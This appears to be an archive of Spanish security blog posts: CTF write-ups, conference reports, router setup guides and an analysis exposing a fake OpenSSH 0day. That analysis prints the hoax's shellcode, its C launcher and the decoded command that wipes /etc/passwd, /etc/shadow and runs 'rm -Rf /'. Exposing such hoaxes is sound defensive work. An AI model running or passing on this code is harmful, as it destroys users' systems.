Al ejecutar la plantilla vemos que nos da un error que dice que el archivo no es LUKS, ya que no se corresponde su firma. Así que pasamos a mirarnos el estándar de LUKS para ver cual es su firma, donde nos dice que la cabecera de la partición empieza con el siguiente magic: «{’L’,’U’,’K’,’S’,0xBA,0xBE}», y en nuestro caso en vez de una ‘S’ había una ‘s’ minúscula. Una vez modificada esa letra, volvemos a aplicar el template y vemos como ahora sí lo reconoce:

Cabecera LUKS

 

curioseando un poco el fichero vemos que en la sección de padding de caracteres aparece el siguiente texto: «Try … most common passwd in …», donde los «…» son dos números hexadecimales: 0x19 (25) y 0x07dd (2013). Así que nos vamos a preguntarle a Google y encontramos esto.

Utilizando el siguiente comando

cryptsetup luksOpen hiddentation volume1

 

intentamos descifrar el volumen con los 25 passwords sin éxito :(. Así que parece que tocaba trabajar más en los headers.

Después de pelearnos con el estándar vemos que nos faltaría arreglar las secciones de los key-slots en el header.

Key-slots

 

En este caso vemos :

  1. que los ocho que hay están desactivados («00 00 DE AD»), cuando tendría que haber al menos uno activo (en el que supone que está la clave con la que se cifran los datos protegida con la passphrase correspondiente a uno de los 25 passwords más comunes en 2013),
  2. que los campos donde se indican los offset de los KeyMaterials no parecen estar correctamente calculados. Para estar bien calculados deberían cumplir la fórmula round_up(key_length * stripes / sector_size); en este caso: (32*4000) /512 = 250, por lo que tomamos 256 (0x100).

Así que ya que parece que el key-slot8 es «el bueno», pues marcamos este slot como ENABLED (0x00AC71F3) y retocamos los 8 offsets, quedando algo tal que así:

LUKS OK

 

Ahora nos disponemos a probar otra vez los 25 passwords y tenemos éxito con el número 18: «shadow».

Así que ahora vemos qué pinta tiene el disco:

fdisk

 

 

Y vemos que la tabla de particiones es GPT, y que fdisk no soporta GPT. Procedemos a utilizar parted:

Gparted

 

Y aparecen tres particiones, una XFS, una EXT2 y una FAT32. Haciendo uso de los dispositivos de loop las vamos montando una a una. Por ejemplo:

losetup -o 44040192 /dev/loop2 /dev/mapper/volume1

donde indicamos el offset de la partición, el dispositivo de loop a utilizar y el volumen de disco. Este caso concreto es el de la tercera partición (tras buscar en la primera y la segunda no encontramos el flag).

Y al montar la tercera nos aparece un fichero que se llama «flag.txt». Quedaba un minuto para que se acabase el CTF y con toda el ansia procedemos a abrir el fichero para encontrarnos un «It’s inside this partition, but hidden ;)». Agggggggghhhh xD

Bien, después de analizar la partición con el autopsy, no vimos nada relevante en cuanto a ficheros borrados. Utilizando el comando testdisk vemos que en el mismo volumen hay una partición NTFS borrada previamente.

NTFS

 

La extraemos del siguiente modo:

dd if=/dev/loop2 of=ntfs2 skip=69632 count=34816

la montamos y vemos que hay un «readme.txt». Abrimos y…. «You are very near, but it’s even more hidden!». Mekagüen!! esta gente está loca! ;***, jajaja

De nuevo autopsy, esta vez sobre la partición NTFS y encontramos esto:

ADS

 

Un fichero flag.txt borrado (que no contiene el flag) pero con un Alternate Data Stream que contiene esa secuencia codificada en ROT13. La decodificamos y voilà, ahora sí tenemos flag «NCNd986942b809daa32a6987a7422771a53f59e5a1f02ed700cce43c5196aba749e» (pero el CTF ya ha acabado xD).

Pues parece que si que había que «Dig deeper» para encontrar la bandera ;).

Genial la prueba, muy muy currada. Gracias de nuevo staff de las NcN!! 🙂


acONOnado con el nuevo servicio de Wi-Fi gratis de ONO

Andaba yo tranquilamente viendo la televisión un rato, cuando veo un fantástico anuncio de la compañía ONO en la televisión en la que se ofrece a los clientes móviles acceso a Internet de alta velocidad mediante Wi-Fi. Rápidamente caí en la cuenta de que esta misma semana (que estaba experimentando problemas con la Wi-Fi de mi casa) había visto una red Wi-Fi rara: «_AUTO_ONOWiFi», y me temía lo peor…

Al acceder a la página de ONO para consultar acerca del servicio me he encontrado perlas como esta:

Captura de pantalla 2014-07-04 a la(s) 19.30.53

 

 

Vaya, un servicio que pueden utilizar incluso no clientes… mmm, cómo lo ofrecerán, habrán puesto antenas por ahí? veamos más… por ejemplo las condiciones legales del servicio…

Captura de pantalla 2014-07-04 a la(s) 19.35.21

WTF! Red doméstica formada gracias a la reconfiguración de los cable módems de nuestros clientes!!!! seguro que les habrán avisado…

pues no! resulta que mi cable módem era uno de los bonitos que estaba ofreciendo este servicio por la cara, y sin avisarme previamente… desde luego que mis días como cliente de ONO están contados.

Si sois usuarios de ONO chequead que vuestro cable módem no esté publicando una Wi-Fi con el SSID mencionado antes, y si lo está y no estáis de acuerdo (yo desde luego NO cedo MI INFRAESTRUCTURA sin haber dado NINGÚN TIPO DE  CONSENTIMIENTO PREVIO y SIN HABER SIDO NOTIFICADO), podéis solicitar la baja en la propia página de ONO. Yo comprobé de forma fácil que mi cable módem era un «lila» porque la intensidad de la Wi-Fi «pa la peña» esa era la misma que la de mi Wi-Fi; sin complicarme más apagué mi cable módem para ver desaparecer ambas Wi-Fi a la vez: la de mi casa y la otra de mi casa que ONO utiliza para invitar a navegar a la gente.

Captura de pantalla 2014-07-04 a la(s) 19.41.30

He ido tan rápido y malhumorado a deshabilitarlo que no me ha dado ni tiempo a pegarle un vistazo a lo que se podía hacer desde ahí…

Captura de pantalla 2014-07-04 a la(s) 19.43.31

 

Los muy majos además te ponen la desactivación del 2º SSID desde «Mis productos», en fin…

Después de deshabilitarlo he googleado un poco y había gente que lo advertía ya desde hace tiempo.

Espero que no os hayan dado el palo como me lo han dado a mí.

Buen fin de semana!

 


«Kicking around SCADA!» en RootedCON 2014

Los pasado días 6, 7 y 8 de Marzo se celebró en Madrid la V edición de las RootedCON. En ella, nuestro compañero Juan Vázquez (@_juan_vazquez_) y yo mismo (@julianvilas) tuvimos la oportunidad de presentar el resultado del trabajo de investigación sobre SCADA que llevábamos realizando los últimos meses.

La ponencia se tituló «Tú a Boston Barcelona y yo a California Tejas. A patadas con mi SCADA!», y en ella explicamos las vulnerabilidades que encontramos en el producto Yokogawa CENTUM CS3000, un Sistema de Control Distribuido (DCS/SCADA) desplegado en más de 7.600 instalaciones a lo largo del mundo (según el fabricante), utilizado en refinerías, petroquímicas, sector energético, oil&gas, y un largo etcétera de entornos considerados infraestructuras críticas.

Se encontraron vulnerabilidades a nivel de configuración del entorno / software base, a nivel de diseño de los protocolos (ausencia de cifrado, autenticación, control de integridad, etc.), y a nivel de implementación. Estas últimas se corresponden con los advisories publicados por el fabricante y por el ICS-CERT (CVE-2014-0781, CVE-2014-0783, CVE-2014-0784), vulnerabilidades provocadas por desbordamientos de buffer en el stack y en el heap que permiten ejecución remota de código, para las cuales ya se han publicado tanto parches como pruebas de concepto (exploits) en Metasploit Framework.

También hicimos una demostración de posibles acciones de post-explotación una vez comprometido el sistema, en la que troyanizábamos las comunicaciones entre las estaciones de operación (HIS) y el controlador (FCS). Para finalizar la charla contamos también los resultados de escanear internet gracias a la colaboración de Rapid7 y su proyecto Sonar, que realiza este tipo de escaneos.

Podéis ver las slides de la charla en Slideshare, y tan pronto como la organización de RootedCON publique los vídeos actualizaremos el post.

Agradecer desde aquí a la RootedCON y a todos sus asistentes el habernos permitido pasar un tan buen momento.

Saludos!


Solución reto China – Final CTF NcN 2013

Hace unos días tuvimos la suerte de poder participar en la final del CTF de las No cON Name 2013, organizado por el Security Staff de Facebook.

La verdad, estuvo genial organizado y realmente nos divertimos mucho. ¡Felicidades Facebook & NcN staff! Enhorabuena también a los otros participantes, y en especial a los ganadores 🙂

En el concurso se publicaron un conjunto de servidores, cada uno de ellos correspondiente con un país.

Cada servidor/país podía ser una base o un flag:

  • Las bases contenían retos que podían ser resueltos una vez por cada equipo.
  • Los flags contenían algún tipo de vulnerabilidad que permitía a los equipos capturarlo (el flag). Los puntos se otorgaban por el tiempo que el equipo tuviese en su poder el flag. Básicamente los flags consistían en escribir en el fichero «/tmp/SCORE_POINTS» del servidor en cuestión, el nombre del equipo.

En este post os vamos a explicar como pudimos capturar el flag de China! 🙂

Al realizar un escaneo de puertos contra el servidor, éste presentaba abiertos los puertos 80 y 12345. El segundo era el utilizado por la organización para monitorizar los flags, así que procedimos a acceder al puerto 80.

Imagen

Y esto era lo que nos encontramos. Lo primero que hicimos, tirar de google translate para traducir el texto en chino. Básicamente era un formulario de login. Al probar a autenticarse, daba un error en el usuario/contraseña, y las pruebas de inyección realizadas no dieron resultado.

Por lo que procedimos a examinar con más detalle las peticiones y respuestas intercambiadas. Para ir al grano, el punto interesante era el proceso de autenticación:

Imagen

Y ¿qué era lo interesante de este caso?

  1. Un token AntiCSRF en el formulario de autenticación nos pareció un poco raro. Este tipo de tokens se utiliza en formularios que permiten hacer algún tipo de modificación
  2. El token AntiCSRF, tiene pinta de algo codificado (desde luego no de un hash)

Procedimos a su decodificación:

Imagen

Lo que nos indicaba que era un archivo binario, nos revelaba un path con un archivo .py, nos mostraba un hash y la palabra secret. Volcamos el contenido en un fichero y ejecutamos el comando file:

python 2.7 byte-compiled

Por lo que procedimos a decompilarlo:

Imagen

Básicamente lo que contenía era una asignación de una variable, siendo el path un metadato del fichero. Por lo que construimos nuestro propio python:

Imagen

Generamos un fichero byte-compiled (.pyc):

Captura de pantalla 2013-11-07 a la(s) 00.19.04

Lo codificamos en base64:

Captura de pantalla 2013-11-07 a la(s) 00.24.28

Y finalmente hacemos tampering de la petición cambiando el token AntiCSRF por el que hemos generado nosotros, y voilà! habíamos capturado la bandera de China 🙂

Esperamos poder subir en los próximos días alguna solución más 🙂

Un saludo!


CTF de la No cON Name 2013 (write-up)

Buenas a todos,

después de algún tiempo sin nuevas entradas en el blog, hemos pensado que una buena forma de regresar sería publicando nuestras soluciones a los retos de la ronda clasificatoria del primer CTF que se organiza en las conferencias No cON Name, en este año 2013.

Esta ronda de clasificación ha consistido en la resolución de un juego de estilo «Jeopardy», consistente en 3 niveles. El primero de ellos relacionado con Web, el segundo con Android y el tercero con reversing de binarios.

Imagen

 

En este post describiremos cómo solucionamos el nivel 3, en el que se entregaba un binario de tipo ELF de 64 bits. Al ejecutarlo mostraba lo siguiente:

De forma que al escribir, el programa finalizaba indicando el siguiente mensaje:

Para resolver el desafío hicimos un desensamblado del binario, y analizamos su comportamiento. En primer lugar el programa imprimía por pantalla el texto que hemos podido ver anteriormente:

Imagen

 

A continuación entraba en un bucle de 10 iteraciones, en el que se van leyendo los caracteres introducidos por el usuario y se comparan con el contenido de la variable «facebookctf_rocks». Esta variable es un array de DWORDs, en las que el byte más significativo de cada DWORD contiene el valor que va a comparar con el carácter introducido por el usuario, y los otros 3 bytes de la DWORD son ceros.

Imagen

 

El contenido de la variable «facebookctf_rocks» es el siguiente:

20 00 00 00

53 00 00 00

55 00 00 00

52 00 00 00

50 00 00 00

52 00 00 00

49 00 00 00

53 00 00 00

45 00 00 00

21 00 00 00

Y teniendo en cuenta lo explicado anteriormente, se corresponde con la cadena “\x20\x53\x55\x52\x50\x52\x49\x53\x45\x21”, o lo que es lo mismo » SURPRISE!» (con un espacio al principio). 

Si introducimos esa cadena, el programa muestra el siguiente mensaje:

 

Una forma alternativa de obtener la clave (sin introducir el texto), es analizar la parte final del binario, en la que se aprecian tres caminos diferentes: que se haya presionado la tecla de salida (call seeyaaaa), que se haya introducido un carácter que no es el esperado (call game_over), o que se haya introducido la cadena esperada (call success).

Imagen

 

Por lo que si debugueamos el programa y modificamos el EIP por la dirección de memoria donde se llama a la función «success» (0x000000000040117B), obtendremos el mismo resultado. 

En breve publicaremos la solución de los otros 2 niveles 🙂

Saludos!!


SOURCE Barcelona 2011 – Parte 2

Continuando con lo explicado por Juan, os cuento acerca de las charlas en las que estuve presente:

Wfuzz para Penetration Testers

Christian Martorella y Xavier Mendez, de Verizon Bussiness (y de edge-security), nos explicaron ejemplos prácticos de uso de la herramienta Wfuzz: básicamente una herramienta para realizar bruteforcing en aplicaciones Web. Probablemente a muchos de vosotros ya os suene esta herramienta (de hecho no es nueva), que lleva formando parte del arsenal de herramientas de Backtrack desde hace ya algunas ediciones.

La charla se orientó a las mejoras que han incluido recientemente en la herramienta (y que presentaron en el Blackhat Arsenal USA de este año), entre las que destaca la inclusión de un framework para scripting y mejoras en el rendimiento de la herramienta (hablaron de un 60% de mejora, llegando a rates de 900 peticiones por segundo).

Algunas indicaciones básicas acerca de la herramienta:

  • Permite bruteforcing en diferentes puntos de entrada de la aplicación Web, tales como parámetros, cabeceras, recursos, formularios, etc.
  • Se basa en el uso de Payloads (fuentes de datos como ficheros, la entrada estándar, rangos, nombres, etc.), Encoders (codificación de los Payloads en múltiples formatos como URL encoding, URL encoding doble, etc.), Iteradores (controlan la estrategia de fuzzing a utilizar), Printers (formatos para la salida de resultados) y, como novedad, los Plugins.
  • Permite la creación de baselines, para luego poder esconder valores que formen parte de la misma y así detectar anomalías más rápidamente.

Y ahora las partes que más me gustaron o que me parecieron más relevantes en la presentación:

  • Es una herramienta «artesanal», potente y útil en la realización de pentesting, pero que requiere de conocimiento por parte de quien la esté utilizando. NO es un escáner de vulnerabilidades Web.
  • Se puede integrar con la herramienta Magictree (lectura de página y vídeo de ejemplo recomendados), permitiendo retroalimentar resultados. Es decir, los resultados que tengamos cargados en Magictree (que pueden provenir de otras herramientas) pueden ser nuevos objetivos para Wfuzz, quien además puede exportar los resultados de nuevo a Magictree.
  • Permite realizar password guessing siguiendo diferentes aproximaciones: Scan Vertical, Horizontal, Diagonal, Tres y Cuatro Dimensiones, etc. (terminología empleado por Robert «Rsnake» Hanson en su libro).
  • Existen plugins ya disponibles para, por ejemplo, algo tan útil como tomar screenshots de las Webs que cumplan con las condiciones que establezcamos para el fuzzing.

Para profundizar más podéis ver las slides de la presentación, y trastear con la herramienta 😉

Advanced (Persistent) Binary Planting

Esta charla impartida por Mitja Kolsek, personalmente me gustó mucho. En ella se habló acerca del Binary Planting, que para los que no conozcáis el término, comentaros que hace referencia a una vulnerabilidad que ya tiene algo de tiempo y que se reavivó a mediados del 2010 por algunos nuevos vectores de explotación de la misma. Básicamente reside en el mecanismo de carga de librerías de forma dinámica por parte de aplicaciones.

Uno de los puntos fuertes de la charla es que fue muy práctica, y se mostró que encontrar aplicaciones vulnerables aun es factible a día de hoy. Mitja nos mostró como utilizando el Proccess Explorer de las Sysinternals, encontrar bugs de este tipo era una tarea casi para todos los públicos :).

Y qué comenta la charla acerca de la persistencia? Pues una estrategia bastante original:

  • Los navegadores Web más utilizados en plataformas Windows, por defecto descargan los archivos a la carpeta de «Descargas»
  • Si nos bajamos un instalador (pe. el instalador de la Java Virtual Machine) a la carpeta de descargas, esta carpeta será considerada por el SSOO como su carpeta de instalación, por lo que cualquier librería que quiera cargar el binario de forma dinámica será buscada primero en este directorio (independientemente del current working directory)
  • Algunos navegadores (pe. Chrome) son vulnerables a ataques de clickjacking para la descarga de archivos! Es decir, podríamos engañar a la víctima (usuaria de Chrome) mediante algún juego, consiguiendo que sin darse cuenta se descargase algún archivo .dll o .exe a la carpeta de «Descargas», que pudiera ser utilizado en un futuro por algún instalador que cargase una librería con ese nombre.

Hown NOT to do a Penetration Test

Esta charla, de carácter más teórico, fue impartida por Stefan Friedli, impulsor del Penetration Testing Execution Standard (PTES). Una metodología para planificar, gestionar y ejecutar un Pentest.

Stefan Friedli en Sourceconference Barcelona 2011

Algunos de los comentarios de Stefan fueron:

  • «una compañía que no realiza ninguna tareas de seguridad no realiza un pentest, necesita primero arreglar su situación»
  • «una forma para discriminar un buen pentester de un no tan buen pentester puede ser el hecho de que utilice alguna metodología, como PTES»
  • «es importante la definición de un correcto alcance en un pentest, pues a una compañía le importarán más aquellas cosas que puedan afectar a su negocio»
  • «es importante que los pentesters no se centren únicamente en la explotación de vulnerabilidades, existen otras tareas importantes en la ejecución de un pentest.

Una charla interesante que generó algo de debate, acerca de los umbrales de calidad y lo que al final los clientes finales suelen valorar más (el precio).

La verdad es que las conferencias estuvieron muy bien, el lugar en el que se celebran excelente, y como siempre el ambiente muy agradable. Esperemos poder repetir para el año que viene 😉

Un saludo!


Configurar Huawei HG556a de Vodafone como punto de acceso (AP)

Topología de ejemplo

Antes de nada disculparme porque os debo un post acerca de la configuración de un laboratorio casero, pero como apliqué bastantes cambios a la configuración que tenía estoy esperando a tener algo definitivo para contároslo ;). Para ir haciendo boca, os comento un problema que he tenido y cómo lo he solucionado:

Mi conexión a Internet es por cable (OÑO), y mi conexión vino con un «fantástico» router WiFi WebStar EPR 2320. Como veréis si hacéis algunas búsquedas por Internet, no tiene muy buena reputación. A mí, como a mucha gente, me daba problemas con la tabla de NAT (PAT), de modo que cuando abría varias pestañas del navegador que accedían a páginas con Ads (que suelen tener múltiples enlaces), el cacharro se desbordaba y la conexión a Internet dejaba de funcionar correctamente (probablemente por saturación de la tabla de traducción de red/puertos).

Más adelante os explicaré con más precisión el problema, porque la topología utilizada también contribuía en el problema (utilizaba la funcionalidad de DMZ Host) y contribuyó en la elección de la solución: poner el router en modo Bridge, dejar que gestionase el NAT un dispositivo más potente y colocar un Access Point para conectarme a la WiFi.

Simplificando, imaginaos que tenéis una conexión a Internet con un router que no tiene WiFi, y que por los motivos que sean no queréis suprimirlo. En ese caso podéis añadir un Access Point en la LAN cableada del router y así dar acceso a clientes WiFi. Pues bien, en mi caso no tenía un punto de acceso, pero sí un router WiFi de Vodafone Huawei HG556a.

En este post quiero explicaros como configurar en HG556a como Access Point, en una topología como la mencionada.

Topología de ejemplo

En primer lugar habréis de acceder al HG556a (en adelante AP) con privilegios de administración (encontraréis información de como hacerlo por Internet).

Después configurar la LAN del AP con el mismo direccionamiento que tenéis en vuestra red cableada (en el ejemplo 172.X.X.0/24) y, importante,  deshabilitar el DHCP del AP. ¿Por qué? Pues porque sino tendréis problemas porque se pondrá a sí mismo como Default Gateway (el AP con dirección 172.X.X.2) y cuando intentemos acceder a una página con el navegador, el AP la reemplazará por una en la que muestra un error por no estar en funcionamiento el ADSL.

Configuración de LAN

LAN AP

Después activamos como puerta de enlace el router conectado a Internet.

Configuración de routing para LAN

Configuración routing

Y acto seguido hemos de configurar la interfaz WAN para que actúe como modo bridge, que habrá de quedar de la siguiente forma:

Única conexión WAN

Conexión WAN

Para ello seguimos los pasos mostrados a continuación:

Datos configuración WAN

Configuración parámetros ADSL

Selección modo puente

Configuración en modo puente

Activación servicio de puente

Activación del servicio de puente para datos

Configuración WAN como puente en LAN

Configuración WAN como puente en LAN

Y ya está casi todo hecho. El siguiente paso es conseguir que los usuarios que se conecten por WiFi al AP reciban una dirección IP y, para ello, vamos a utilizar el router que está conectado a Internet (que probablemente ya tenía un servidor DHCP activado). Este router habrá de responder a las solicitudes DHCP identificándose a sí mismo como el Default Gateway para los clientes WiFi (en la topología de ejemplo esto significa que el Default Gateway para los clientes WiFi habría de ser la dirección 172.X.X.1).

El problema es que el AP no hace relay de las solicitudes y respuestas DHCP entre la red cableada y la inálámbrica, y tampoco dispone de ninguna funcionalidad para activarlo.

En este punto podemos realizar el siguiente truquillo: primero descargamos el fichero de configuración del router

Hacer backup de la configuración del AP

Funcionalidad de backup del AP

Lo abrimos con un editor de texto y buscamos la cadena «dhcpRelay», que por defecto tomará un valor de «0». Cambiando el valor por «1», ya tendremos la posibilidad de que el router conectado a Internet haga de servidor DHCP para los clientes WiFi conectados al AP.

Modificación de dhcpRelay en fichero de configuración

Fichero de configuración

Para ello subimos el fichero de configuración modificado

Subida de fichero de configuración modificado

Funcionalidad de actualizar configuración

Y ya debería funcionar nuestro router WiFi convertido en AP!

Espero que os sea de utilidad 😉


BlackHat Europe 2011 – Resumen de Charlas (Parte III)

Buenas gente,

mi turno! 🙂

antes de nada me gustaría hacer una valoración general del evento: ha sido muy positivo, pero con muy poca presencia nacional! No sabemos si ha sido porque las Rooted CON fueron hace muy poquito, si es porque este año ya no ha sido novedad que se celebrasen en nuestro pais o simple casualidad, pero se podían contar con las manos a los paisanos 😦

También me gustaría enviar un fuerte abrazo a nuevos amigos de Argentina que tuvimos la oportunidad de conocer: Sebastian y Alfredo de Groundworks Technologies (que como ya ha comentado Pau dieron una brillante charla) y unos cuantos amigos más de Core (tenía una foto con Federico Muttis y la chica «anonymous» 😉 pero no la encuentro :P). Grandísimos!

Y ahora sí vamos a las charlas:

Día 1

[Application Dissection] The ABAP Underverse – Risky ABAP to Kernel communication and ABAP-tunneled buffer overflows / Andreas Wiegenstein

Personalmente esta charla me gustó mucho, ya que toca una temática que llevo un tiempo investigando: la seguridad en SAP. En concreto trató de vulnerabilidades en el lenguaje de programación utilizado en este sistema, conocido como ABAP.

Acerca de ABAP (Advanced Bussiness Application Programming):

  • Es un lenguaje propietario, y sus especificaciones completas no están disponibles
  • Es independiente de la plataforma (bytecode sobre ABAP Runtime)
  • La comunicación entre sistemas SAP se realiza mediante RFC (Remote Function Call)
  • El control de versiones y el sistema de transporte (entre entornos de desarrollo, QA, Producción) están integrados
  • Utiliza OpenSQL para el acceso a back-end (independiente del back-end utilizado)

Cosas muy interesantes explicadas durante la charla:

  • ABAP es un lenguaje susceptible a vulnerabilidades de tipo inyección SQL
  • En ABAP se puede inyectar código estático y ejecutarlo posteriormente
  • En ABAP se puede inyectar código dinámico y ecutarlo posteriormente (además este código se ejecuta on-the-fly y no quedan trazas)
  • El código ABAP customizado puede evadir restricciones de seguridad del estándar de SAP (p.e. el sistema de autorizaciones está disponible para su uso pero no es implícito)
  • ABAP es vulnerable a desbordamientos de buffer

Durante la charla se mostraron DEMOS de una inyección SQL que consultaba información en todos los mandantes, de inyección de código y de ruptura del servicio mediante la explotación de un desbordamiento de buffer.

[Keynote] Cyberwar/ Bruce Schneier

El archi-conocido Bruce Schneier nos habló de su visión y reflexiones acerca de la ciberguerra, así de cómo está afectando el creciente uso de este término en los gobiernos de las grandes potencias.

Os dejo los conceptos que más me gustaron:

  • El principal problema de la ciberguerra es que es un término que no está claramente definido
  • En la guerra tradicional, los gobiernos de las naciones tienen el control. La ciberguerra puede ser iniciada por ciudadanos
  • Es difícil saber quién te ataca y cómo, por eso es difícil protegerse
  • En la ciberguerra, el principal objetivo es controlar (por ejemplo como hace un APT), y el peor objetivo es destruir
  • Las tecnologías actuales dificultan la interceptación de las comunicaciones para los gobiernos, y por tanto para las labore de inteligencia. Es más fácil pinchar un teléfono que controlar todas las comunicaciones que puedan realizarse vía Internet (p.e. Skype, el chat de Second Life, etc.)
  • Un país es tan vulnerable en la ciberguerra como dependiente es del ciberespacio. Evidentemente los países más desarrollados suelen ser los más vulnerables.

Ya podéis ver el vídeo y comentar lo que queráis 😉


Black Hat Europe 2011

BH EU 2011
Pasada la segunda edición de una de las mejores conferencias nacionales, las Rooted CON 2011, pasamos a una de las internacionales que nos cae muy de cerca.

Este año, por segunda vez consecutiva, el evento Black Hat Europe tiene lugar en Barcelona (y Testpurposes.net estaremos allí)

El evento constará como siempre de trainings (15 y 16 de Marzo) y de briefings (17 y 18 de Marzo), que por cierto tienen muy buena pinta 🙂

Esperamos veros por allí, y si todavía no tenéis vuestra entrada, los lectores de Testpurposes.net podéis obtener un descuento de 350 euros utilizando el código de promoción TPReadersBH durante el registro.

BH EU 2011

Para los que no vengáis, no os preocupéis, os iremos poniendo al día desde aquí 😉

Buen fin de semana!


Fake 0day exploit para OpenSSH

Hoy hemos amanecido con alguna que otra noticia sobre un posible 0day en OpenSSH 5.7 (versión anterior a la actual OpenSSH 5.8/5.8p1).

Por lo que hemos podido trazar, al menos en Twitter el origen parece ser el siguiente tweet:
En twitter se han podido encontrar diversos enlaces al supuesto 0day:

Sólo con revisar la actividad de esta cuenta ya hay diferentes aspectos sospechosos, como el bajo número de Tweets y las fechas de los mismos.

Al acceder al enlace del servicio pastebin y otras fuentes, es posible acceder al supuesto código del exploit:

Además de este, se han detectado otras variantes, supuestamente multiplataforma:

Pues bien, después de realizar un análisis del primero de los exploits, se ha podido comprobar que se trata de un HOAX, y además dañiño.

Si revisamos el código, se inicializa la variable shellcode con lo que posteriormente veremos que se trata de un payload dañino.

unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

En realidad del supuesto exploit, el único código relevante es el siguiente:

int main(int argc, char *argv[])
{
  int uid = getuid();
  int port = 22, sock;
  struct hostent *host;
  struct sockaddr_in addr;

  if(uid !=0)
  {
    fprintf(stderr, "[!!]Error: You must be root\n");
    exit(1);
  }
  if(uid == 0)
  {
    printf("\t[+]Starting exploit..\n");
  }
  if(argc != 3)
       usage(argv);

  fprintf(stderr, "[!!]Exploit failed\n");
  (*(void(*)())shellcode)();

En el que se comprueba que el usuario que lo ejecuta es root, se comprueba el número de argumentos y se llama un puntero a función que apunta al payload inicializado en la variable «shellcode», por lo que realmente éste se ejecuta en local.

A continuación se adjunta el análisis estático de la shellcode:

seg000:00000000
seg000:00000000 ; Segment type: Pure code
seg000:00000000 seg000          segment byte public 'CODE' use32
seg000:00000000                 assume cs:seg000
seg000:00000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000                 push    0Bh
seg000:00000002                 pop     eax             ; eax => system call numbre = 0xB (execve)
seg000:00000003                 cdq                     ; edx => \0
seg000:00000004                 push    edx
seg000:00000005                 push    small 'c-'
seg000:00000009                 mov     edi, esp        ; edi => pointer to "-c"
seg000:0000000B                 push    'hs/'
seg000:00000010                 push    'nib/'
seg000:00000015                 mov     ebx, esp        ; ebx => pointer to "/bin/sh"
seg000:00000017                 push    edx             ; push NULL
seg000:00000018                 call    loc_56          ; push pointer to "aEchoEtcShadowE"
seg000:00000018 ; ---------------------------------------------------------------------------
seg000:0000001D aEchoEtcShadowE db 'echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /',0
seg000:00000056 ; ---------------------------------------------------------------------------
seg000:00000056
seg000:00000056 loc_56:                                 ; CODE XREF: seg000:00000018?p
seg000:00000056                 push    edi             ; push pointer to "-c"
seg000:00000057                 push    ebx             ; push pointer to "/bin/sh"
seg000:00000058                 mov     ecx, esp        ; ecx => args = ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"]
seg000:0000005A                 int     80h             ; execve("/bin/sh", ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"], NULL)
seg000:0000005A seg000          ends
seg000:0000005A
seg000:0000005A
seg000:0000005A                 end

Así pues, el supuesto exploit ejecuta en el sistema local, con privilegios de root, el comando:

echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /

Destacar que este no es el primer caso de fake exploits relacionados con OpenSSH, ya por el 2009 hubo otra oleada de fake exploits para el mismo servicio.


Setting up your home LAB (parte II)

Instala el sistema

Descargamos el sistema operativo a instalar desde http://www.ubuntu.com/server/get-ubuntu/download. En esta ocasión se instalará Ubuntu Server 10.04 LTS a modo de ejemplo.

Se graba la ISO de un CD-ROM y se procede a la instalación.

  1. Realizar una instalación estándar (al gusto) hasta el momento del particionado del disco
  2. En este paso, seleccionar la opción de realizar un particionado manual, para poder realizar la instalación en RAID0.
  3. Crear tablas de particiones en los dos discos duros, y seleccionar la opción «Configurar RAID por software»
  4. (más…)


Videos de las No cON Name 2010

Hace poco os contábamos acerca de nuestra participación en las NcN 2010, y la gran calidad de las charlas que se dieron.

Pues ya están publicados los vídeos de las conferencias! 🙂

Podéis encontralos en la página de la asociación:

http://noconname.org/congreso.html#videos

A disfrutarlos 😉


Setting up your home LAB (parte I)

Es común que los amantes de la Seguridad Informática dediquen buenas horas en sus casas a investigar y trastear en la materia. Si estás leyendo este Blog, probablemente es que tú también eres uno de ellos ;-).

Y qué mejor para tus investigaciones caseras que tu propio mini-laboratorio? Este post pretende dar algunas ideas a la hora de montarlo.

Virtualízate

Es una opción económica y escalable para tener una infraestructura de sistemas en tu casa. Existen múltiples soluciones de virtualización (VMware, Xen, Virtualbox, etc.), pero para este ejemplo vamos a utilizar KVM.

La idea es montar un servidor de máquinas e infraestructuras de red virtuales, y además, queremos que el sistema anfitrión (host) consuma los mínimos recursos y únicamente haga de puente entre los sistemas virtuales y el hardware. A esto se le conoce como virtualización de tipo 1 y KVM es un sistema de este tipo, entre otros (p.e. VMware ESX).

(más…)


No cON Name 2010

El pasado 21 de Octubre de 2010 se celebró la edición 2010 del congreso de las NcN 2010. Durante ésta tuve el placer de compartir, junto con mis compañeros Juan y Pau, el resultado de la investigación realizada sobre el SMSspoofing y sus riesgos derivados en la actualidad.

La investigación se ha llevado a cabo gracias a la colaboración y apoyo de la empresa en la que trabajo, TB·Security.

En ella hemos tenido la oportunidad de analizar el estado del arte de SMSspoofing, así como para ampliar las funcionalidades de SET (Social Engineering Toolkit) para:

  • El envío de SMS mediante proveedores de envío de mensajes (spoofeables)
  • La explotación de vulnerabilidades en terminales móviles
  • La incorporación y creación de plantillas para mensajes SMS enviados

En posteriores entradas iremos profundizando en los detalles de la investigación realizada, compartiendo nuestras experiencias y descubrimientos. Por lo de pronto queremos haceros llegar la presentación realizada 🙂

Por último felicitar y agradecer a la asociación No cON Name por el evento, en el que personalmente me lo pasé genial. Felicitar también a los ponentes, que dieron unas charlas de lo más interesante y agradecer a TB·Security su gran apoyo y colaboración.

Hasta pronto!

Presentacion-NCN_2010